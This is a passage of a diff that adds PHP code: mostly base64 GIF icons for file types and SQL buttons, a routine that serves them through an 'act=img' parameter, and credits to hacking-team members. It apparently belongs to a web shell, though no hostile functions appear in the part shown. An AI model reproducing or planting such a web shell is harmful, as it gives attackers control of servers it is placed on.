+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img 